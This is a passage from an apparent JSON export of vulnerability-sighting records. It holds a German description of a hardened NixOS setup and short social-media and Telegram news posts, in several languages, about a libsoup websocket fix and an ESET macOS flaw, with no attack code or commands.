Lanzaboote und der pr\u00e4diktiven Technologie des Measured Boots (via systemd-pcrlock) eliminiert feindliche Boot-Manipulationen, ohne die Agilit\u00e4t des Systems einzuschr\u00e4nken.\nDie kryptographische Verifikation der Datentr\u00e4geridentit\u00e4t (Bindung an PCR 15) in Kombination mit der obligatorischen Nutzung von TPM Encrypted Sessions und FIDO2-Hardwaretoken vernichtet Angriffsvektoren wie Root-Volume-Konfusionsangriffe, Bus-Sniffing und Wrench-Attacken. Durch das radikale Paradigma der Zustandslosigkeit (Impermanence) und das Auslagern der Passwortverwaltung auf das zur Laufzeit operierende sops-nix wird Persistenz f\u00fcr Schadsoftware mathematisch unm\u00f6glich gemacht.\nAuf den tiefsten Systemebenen erzwingen extrem restriktive Speicherallokatoren, das totale Modulladeverbot des Kernels und strenge PTrace-Sperren, dass Angreifer selbst nach einem erfolgreichen Exploit im Userspace keine Ring-0-Eskalation durchf\u00fchren k\u00f6nnen. Abgerundet wird die Architektur durch eine Default-Drop nftables-Firewall mit manipulierter RPF-Integrit\u00e4t, das Verbot von X11 zugunsten puristischem Wayland und die extreme Isolation von unvertrautem Code in hardwaregest\u00fctzten MicroVMs.\nDieses Architekturdesign akzeptiert keinerlei Kompromisse bei der Sicherheit. Es verlangt technisches Tiefenverst\u00e4ndnis und opfert teilweise den Nutzerkomfort. Das Endresultat ist jedoch ein System, das gegen\u00fcber den fortschrittlichsten bekannten Bedrohungsvektoren \u2013 selbst solchen von staatlichen Akteuren \u2013 eine nahezu undurchdringliche, deterministische Abwehrfront bietet.\n", "creation_timestamp": "2026-07-01T08:10:40.815783Z"}, {"uuid": "9325a91f-76fd-4e7a-be02-b4432733f944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0716", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mqm2iblpgr2b", "content": "\ud83d\udea8 EUVD-2026-43651\n\ud83d\udcca 4.8/10\n\n\ud83d\udcdd The fix for CVE-2026-0716 (commit 6ff7ef0, libsoup 3.6.6) placed the integer overflow guard inside the if (masked) block, leaving unmasked server-to-client frames u...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-43651\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-07-14T11:00:14.351346Z"}, {"uuid": "b4fbbfc7-ee6d-4e01-af6f-abd458224d20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0716", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqm77bdq4b2g", "content": "CVE-2026-12478 - Libsoup: incomplete fix for cve-2026-0716: out-of-bounds read in libsoup websocket frame processing (unmasked path)\nCVE ID : CVE-2026-12478\n \n Published : July 14, 2026, 10:16 a.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : The fix for CVE-2026-0716 (commit 6ff...", "creation_timestamp": "2026-07-14T12:24:40.722288Z"}, {"uuid": "41a2ef60-0d1d-4e46-aaea-626812b795a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0716", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mr42cxog452j", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-12478 \u0432 Libsoup: \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2026-0716 \u0438 \u0440\u0438\u0441\u043a\u0438 \u0432\u043d\u0435 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u044f\n\n\n\nhttps://kripta.biz/posts/533458B5-29E1-4279-AEF1-15341CBF4AA2", "creation_timestamp": "2026-07-20T19:39:51.618942Z"}, {"uuid": "bb5ec70b-69ad-4537-899f-7ecd48f955b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0718", "type": "seen", "source": "https://t.me/KaitNews/3337", "content": "\ud83d\udca3 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u06a9 \u0648 \u062d\u0645\u0644\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc macOS \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0627\u0632 \u0631\u0627\u0647\u0650 \u062f\u0648\u0631 \u0648 \u0628\u062f\u0648\u0646 \u062f\u0627\u0634\u062a\u0646 \u0645\u062c\u0648\u0632\u060c \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u0631\u06cc\u0634\u0647 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. ESET \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u062a\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0648\u0635\u0644\u0647 \u0634\u0648\u062f. \n\n\u0634\u0646\u0627\u0633\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f9\u06f8\u06f9\u06f2 \u0628\u0648\u062f\u0647\nhttp://seclists.org/fulldisclosure/2017/Feb/68\n\n \u0648 \u062f\u0631 \u0622\u0628\u0627\u0646 \u0645\u0627\u0647 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc \u062a\u0648\u0633\u0637 \u062f\u0648 \u062a\u0646 \u0627\u0632 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647\u200c\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u06f3 \u0627\u0633\u0641\u0646\u062f \u0645\u0627\u0647 \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6.\u06f4.\u06f1\u06f6\u06f8.\u06f0 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \nhttps://www.eset.com/za/download/business/detail/family/67/\n\n\u0628\u0647 \u06af\u0641\u062a\u0647\u200c\u06cc \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u06cc \u0628\u0627 \u0646\u0627\u0645 esets_daemon \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0633\u0637\u062d \u0631\u06cc\u0634\u0647 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647\u200c\u0637\u0648\u0631 \u0627\u06cc\u0633\u062a\u0627 \u0628\u0647 \u06cc\u06a9 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u062a\u062c\u0632\u06cc\u0647\u200c\u06cc POCO XML \u067e\u06cc\u0648\u0646\u062f \u062e\u0648\u0631\u062f\u0647 \u0627\u0633\u062a. \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 POCO \u0628\u0627 \u0634\u0645\u0627\u0631\u0647\u200c\u06cc \u06f1.\u06f4.\u06f6p\u06f1 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f3 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc Expat XML \u0628\u0648\u062f. \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0642\u0631\u0627\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0646\u0627\u0642\u0635 \u0648 \u062c\u0639\u0644\u06cc \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u067e\u0631\u062f\u0627\u0632\u062f.\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0718\n\n\u062f\u0631 \u0637\u0648\u0644 \u0641\u0631\u0622\u06cc\u0646\u062f \u0641\u0639\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0645\u062d\u0635\u0648\u0644 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET\u060c \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u062f\u0631\u0633 https://edf.eset.com/edf \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u062d\u0645\u0644\u0647\u200c\u06cc \u0645\u0631\u062f\u0650 \u0645\u06cc\u0627\u0646\u06cc \u0642\u0627\u0628\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u062f\u0644\u06cc\u0644 \u0645\u062d\u062a\u0645\u0644 \u0627\u0633\u062a \u06a9\u0647 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0631 \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc\u0650 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u0627 \u0634\u06a9\u0633\u062a \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u0637\u0648\u0644 \u0645\u0633\u06cc\u0631\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u0631\u0633\u0627\u0644\u200c\u0634\u062f\u0647 \u0628\u0647 \u0633\u0645\u062a \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0647 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f-\u0627\u0645\u0636\u0627\u0621\u060c \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0645\u062e\u0631\u0628 \u0631\u0627 \u062a\u062d\u0648\u06cc\u0644 \u062f\u0647\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0631\u0627 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u067e\u0631\u062f\u0627\u0632\u0634 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0628\u0627 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0648\u06cc\u0698\u0647 \u0642\u0627\u0628\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. \n\n\u06a9\u062f \u0627\u062b\u0628\u0627\u062a \u0645\u0641\u0647\u0648\u0645\u06cc \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0686\u0647\u200c\u0637\u0648\u0631 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627\u0639\u062b \u062f\u0631\u0647\u0645 \u0634\u06a9\u0633\u062a\u0646 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0645\u06cc\u200c\u0634\u0648\u062f. \u0634\u0631\u06a9\u062a ESET \u0628\u0627 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc POCO \u0648 \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u062f\u0631 \u067e\u06cc\u06a9\u0631\u0628\u0646\u062f\u06cc \u0645\u062d\u0635\u0648\u0644 \u062e\u0648\u062f\u060c \u0628\u0647\u200c\u0637\u0648\u0631\u06cc \u06a9\u0647 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc SSL \u0631\u0627 \u0628\u0647\u200c\u062f\u0631\u0633\u062a\u06cc \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc \u0628\u06a9\u0646\u062f\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0646\u06cc\u0633\u062a \u06a9\u0647 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0645\u062d\u0635\u0648\u0644\u0627\u062a ESET \u06a9\u0634\u0641 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0645\u06cc\u0644\u0627\u062f\u06cc \u06cc\u06a9\u06cc \u0627\u0632 \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062d\u06cc\u0627\u062a\u06cc \u0631\u0627 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0648 OS X \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0647 \u0628\u0648\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u062f\u0631 \u062f\u0633\u062a \u06af\u06cc\u0631\u062f.", "creation_timestamp": "2026-07-26T07:02:09.461487Z"}, {"uuid": "e536f2fd-c4a4-4108-8b7e-8ed9e9d21b99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0718", "type": "seen", "source": "https://t.me/KaitNews/3337", "content": "\ud83d\udca3 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u06a9 \u0648 \u062d\u0645\u0644\u0647\u200c\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u06af\u0648\u06af\u0644 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc macOS \u06a9\u0634\u0641 \u06a9\u0631\u062f\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u0627\u0632 \u0631\u0627\u0647\u0650 \u062f\u0648\u0631 \u0648 \u0628\u062f\u0648\u0646 \u062f\u0627\u0634\u062a\u0646 \u0645\u062c\u0648\u0632\u060c \u0628\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc\u200c\u0647\u0627\u06cc \u0631\u06cc\u0634\u0647 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f. ESET \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0631\u0627 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u062a\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0648\u0635\u0644\u0647 \u0634\u0648\u062f. \n\n\u0634\u0646\u0627\u0633\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f9\u06f8\u06f9\u06f2 \u0628\u0648\u062f\u0647\nhttp://seclists.org/fulldisclosure/2017/Feb/68\n\n \u0648 \u062f\u0631 \u0622\u0628\u0627\u0646 \u0645\u0627\u0647 \u0633\u0627\u0644 \u062c\u0627\u0631\u06cc \u062a\u0648\u0633\u0637 \u062f\u0648 \u062a\u0646 \u0627\u0632 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u06af\u0648\u06af\u0644 \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0634\u0631\u06a9\u062a \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647\u200c\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u06f3 \u0627\u0633\u0641\u0646\u062f \u0645\u0627\u0647 \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc \u06f6.\u06f4.\u06f1\u06f6\u06f8.\u06f0 \u0648\u0635\u0644\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \nhttps://www.eset.com/za/download/business/detail/family/67/\n\n\u0628\u0647 \u06af\u0641\u062a\u0647\u200c\u06cc \u06a9\u0627\u0631\u0634\u0646\u0627\u0633\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u06cc \u0628\u0627 \u0646\u0627\u0645 esets_daemon \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0633\u0637\u062d \u0631\u06cc\u0634\u0647 \u0627\u062c\u0631\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0627\u06cc\u0646 \u0633\u0631\u0648\u06cc\u0633 \u0628\u0647\u200c\u0637\u0648\u0631 \u0627\u06cc\u0633\u062a\u0627 \u0628\u0647 \u06cc\u06a9 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u062a\u062c\u0632\u06cc\u0647\u200c\u06cc POCO XML \u067e\u06cc\u0648\u0646\u062f \u062e\u0648\u0631\u062f\u0647 \u0627\u0633\u062a. \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 POCO \u0628\u0627 \u0634\u0645\u0627\u0631\u0647\u200c\u06cc \u06f1.\u06f4.\u06f6p\u06f1 \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f3 \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0628\u0648\u062f \u06a9\u0647 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc Expat XML \u0628\u0648\u062f. \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u06cc \u0642\u062f\u06cc\u0645\u06cc \u0646\u06cc\u0632 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc CVE-\u06f2\u06f0\u06f1\u06f6-\u06f0\u06f7\u06f1\u06f8 \u0642\u0631\u0627\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u062d\u062a\u0648\u0627\u06cc XML \u0646\u0627\u0642\u0635 \u0648 \u062c\u0639\u0644\u06cc \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u067e\u0631\u062f\u0627\u0632\u062f.\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0718\n\n\u062f\u0631 \u0637\u0648\u0644 \u0641\u0631\u0622\u06cc\u0646\u062f \u0641\u0639\u0627\u0644\u200c\u0633\u0627\u0632\u06cc \u0645\u062d\u0635\u0648\u0644 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 ESET\u060c \u0632\u0645\u0627\u0646\u06cc\u200c\u06a9\u0647 \u0633\u0631\u0648\u06cc\u0633 esets_daemon \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0622\u062f\u0631\u0633 https://edf.eset.com/edf \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f\u060c \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u062d\u0645\u0644\u0647\u200c\u06cc \u0645\u0631\u062f\u0650 \u0645\u06cc\u0627\u0646\u06cc \u0642\u0627\u0628\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a.\n\n\u0627\u06cc\u0646 \u062d\u0645\u0644\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u062f\u0644\u06cc\u0644 \u0645\u062d\u062a\u0645\u0644 \u0627\u0633\u062a \u06a9\u0647 \u0636\u062f\u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0631 \u0627\u0639\u062a\u0628\u0627\u0631\u0633\u0646\u062c\u06cc\u0650 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0628\u0627 \u0634\u06a9\u0633\u062a \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u0637\u0648\u0644 \u0645\u0633\u06cc\u0631\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0627\u0631\u0633\u0627\u0644\u200c\u0634\u062f\u0647 \u0628\u0647 \u0633\u0645\u062a \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0647 \u0648 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 